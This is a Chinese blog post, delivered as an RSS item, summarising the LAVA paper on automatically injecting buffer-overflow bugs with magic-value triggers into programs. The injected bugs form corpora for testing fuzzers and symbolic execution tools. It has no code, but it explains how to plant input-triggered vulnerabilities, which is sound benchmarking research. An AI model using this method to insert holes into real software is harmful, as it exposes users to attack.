&lt;h3 id=&quot;目的&quot;&gt;目的&lt;/h3&gt;

作为一个插入漏洞的工具，帮助检验漏洞检测工具是否有效

其漏洞的特点为：

&lt;ol&gt;
  &lt;li&gt;物美价廉&lt;/li&gt;
  &lt;li&gt;跨越程序的执行生命周期&lt;/li&gt;
  &lt;li&gt;嵌入代表性控制和数据流&lt;/li&gt;
  &lt;li&gt;带着一个作为存在证明的输入&lt;/li&gt;
  &lt;li&gt;只有一小部分可能的输入显示&lt;/li&gt;
&lt;/ol&gt;

希望使用它来组装大型语料库，用于评估和开发漏洞发现技术和系统。

&lt;h3 id=&quot;实现思路&quot;&gt;实现思路&lt;/h3&gt;

识别执行跟踪位置，其中输入字节相关，不确定控制流，并且没有被修改太多。

在程序中添加代码，使得可控输入能够触发漏洞，lava通过一个程序中运行该程序下的动态污染分析得到一个具体的输入。

&lt;h4 id=&quot;污点分析&quot;&gt;污点分析&lt;/h4&gt;

每个位置标记输入的影响，如果影响为0则是完全输入的拷贝。简单处理和未处理

另外一个基于污染的度量是活性，如果在与决定分支的任何字节相关联的污染标签集中找不到特定的输入字节标签，那么它的活性为0。

通常会选用简单而且低活性的位置，最好是输入的直接副本的位置且完全死亡的来使用。即利用死数据在攻击点注入 bug。

&lt;h4 id=&quot;漏洞插入&quot;&gt;漏洞插入&lt;/h4&gt;

lava添加了一种确保每个错误只由一个特定输入触发的机制，最好使用各种不同的触发机制注入错误，会更全面的完成工具评估; 逐个比较输入字节将允许 coveragemaximizing fuzzers 通过一次猜测一个字节来增量地发现 bug，而不必一次猜测整个32位触发器。

文中提到，使用不太安全的strcpy和strncpy以及替换memcpy使用的数据的大小都能够生成漏洞，这种漏洞产生方法很简单但是许多这样的转换将严重损害程序的正确性，以至于在每个输入上都会崩溃。

Keromytis （Keromytis et al. Tunable cyber defensive security mechanisms，https://www.sbir.gov/sbirsearch/detail/825791， August 2015 ）提出了一个更复杂的方法: 有针对性的符号执行可以用来找到有潜在危险但目前安全的程序路径; 然后可以分析符号路径约束，并用来删除目前防止 bug 的输入检查。 但这使用到符号执行，会导致庞大的计算成本。

LAVA 采用的方法计算成本较低ーー其最昂贵的步骤是动态污染分析，每个输入文件只需进行一次。 每个经过验证的 bug 都保证带有一个触发输入。

原文中在file，bash，readelf和tshark上进行了效果测试

&lt;h3 id=&quot;lava-1和lava-m&quot;&gt;LAVA-1和LAVA-M&lt;/h3&gt;

LAVA-1这个语料库由69个缓冲区溢出错误组成，这些错误被注入源代码中，每个错误在 git 仓库中的不同分支上，输入的模糊版本经过验证，随代码一起引发崩溃检查。 注入了两种类型的缓冲区溢出，每种类型都使用单个4字节的 DUA 来触发和控制溢出

&lt;ol&gt;
  &lt;li&gt;
    触发器和旋钮

    在这种类型的 bug 中，对4个字节，两个为旋钮，2个为触发器，使用 触发器的两个字节对一个魔术字进行比对，以确定是否会发生溢出。 旋钮决定溢出多少。 因此，如果输入中的2字节无符号整数是一个特定的值，但只有当输入中的另外2字节大到足以引起麻烦时，这些错误才会显现出来。
  &lt;/li&gt;
  &lt;li&gt;
    范围

    如果魔术字只是在某个范围内，这些 bug 就会触发，但是也会使用神奇值来确定溢出的程度。 神奇的值是一个4字节的无符号整数，范围不同
  &lt;/li&gt;
&lt;/ol&gt;

LAVA-M 语料库是8.24版本的源代码的四个副本。 一份拷贝有44个 bug 注入 base64，并且有44个已知的单独触发这些 bug 的输入。 另一个版本在 md5sum 中有57个 bug，第三个版本在 uniq 中有28个 bug。 最后，还有一个副本，其中同时存在2136个 bug，并且可以在 who 中单独表示

&lt;h3 id=&quot;测试结果&quot;&gt;测试结果&lt;/h3&gt;

针对每个程序运行 FUZZER 和 SES，每个程序有5个小时的运行时间。 Md5sum 使用 -c 参数运行，以检查文件中的摘要。 Base64运行 d 参数，解码基数64。

Ses 在 uniq 或 md5sum 中没有发现 bug。 在 uniq 中，我们认为这是因为控制流过于不受约束。 在 md5sum 中，SES 未能执行超过哈希函数第一个实例的任何代码。base64上有效果， 该工具在44个插入的 bug 中找出了9个 base64中的 bug; 这些 bug 包括深度和浅度的 bug，因为 base64是一个分析起来非常简单的程序。 Ses 的结果对于谁来说有点复杂。 它为使用两个 DUAs 中的一个的用户找到所有的 bug，并且所有这些 bug 都在跟踪的早期发生。 我们的方法同时注入多个 bug 的一个缺陷是多个 bug 共享同一个攻击点。 这能否很好地代表真正的 bug 还有待商榷。 实际上，这意味着 SES 只能在每个攻击点发现一个 bug，因为在同一个攻击点发现一个额外的 bug 并不一定需要覆盖新的代码。 Lava 当然可以改变，使每个 bug 都包含新的代码覆盖。 Ses 还可以得到改进，以找到每个攻击点的所有缺陷，这意味着为同一组条件生成多个满意的输入。

Fuzzer 在除了who之外的所有实用程序中都发现了错误。与 SES 不同，这些错误在整个程序中的分布相当均匀，因为它们只依赖于猜测输入文件中正确位置的4字节触发器。 Fuzzer 未能找到令人惊讶的漏洞。 我们推测用于模糊器的种子文件(utmp 文件的前768字节)可能太大，无法通过随机变异进行有效探索，但需要进行更多的调查以确定真正的原因。 事实上，这类工具异常正是人们希望在 LAVA 中发现的类型，因为它们代表了工具可能很容易获得收益的领域。 我们注意到 FUZZER 和 SES 发现的 bug 几乎没有重叠(两个工具都只发现了2个 bug)。 这是一个非常有希望的结果，因为它表明，各种错误创建的lava不是只适合一个特定的错误发现策略。

&lt;h3 id=&quot;未来工作&quot;&gt;未来工作&lt;/h3&gt;

注入其他类型的 bug，例如时间安全 bug (use-after-free)和元字符 bug (例如格式化字符串)。

很可能某些类型的错误是不能通过基于污染的措施注射的。 例如，逻辑错误、加密缺陷和侧通道漏洞，所有这些似乎都在一个相当不同的层次上运行，而这些层次上的数据流触发的漏洞 LAVA 正好位于产生的位置。

LAVA 会引入未初始化的 bug，比如代码中未初始化指针的后用免费和解引用，这些指针会从 DUA 值上吸取信息，以便以后用于触发 bug。 在某些情况下，正在评估的工具甚至发现了这些真正的错误，是由LAVA造成的

在我们对漏洞发现工具的初步评估中，我们只测量了失误率; 没有尝试去测量虚警率。 对于生成触发输入的工具，就像 SES 和 FUZZER 一样，测量虚警率应该是微不足道的。 但在静态分析器和抽象释义分析器上就很重要。
</description>
        <pubDate>Wed, 23 Oct 2019 00:00:00 +0000</pubDate>
        <link>https://ble55ing.github.io/2019/10/23/paper-lava/</link>
        <guid isPermaLink="true">https://ble55ing.github.io/2019/10/23/paper-lava/</guid>
        
        <category>paper</category>
        
        
        <category>paper</category>
        
      </item>
    
  </channel>
</rss>
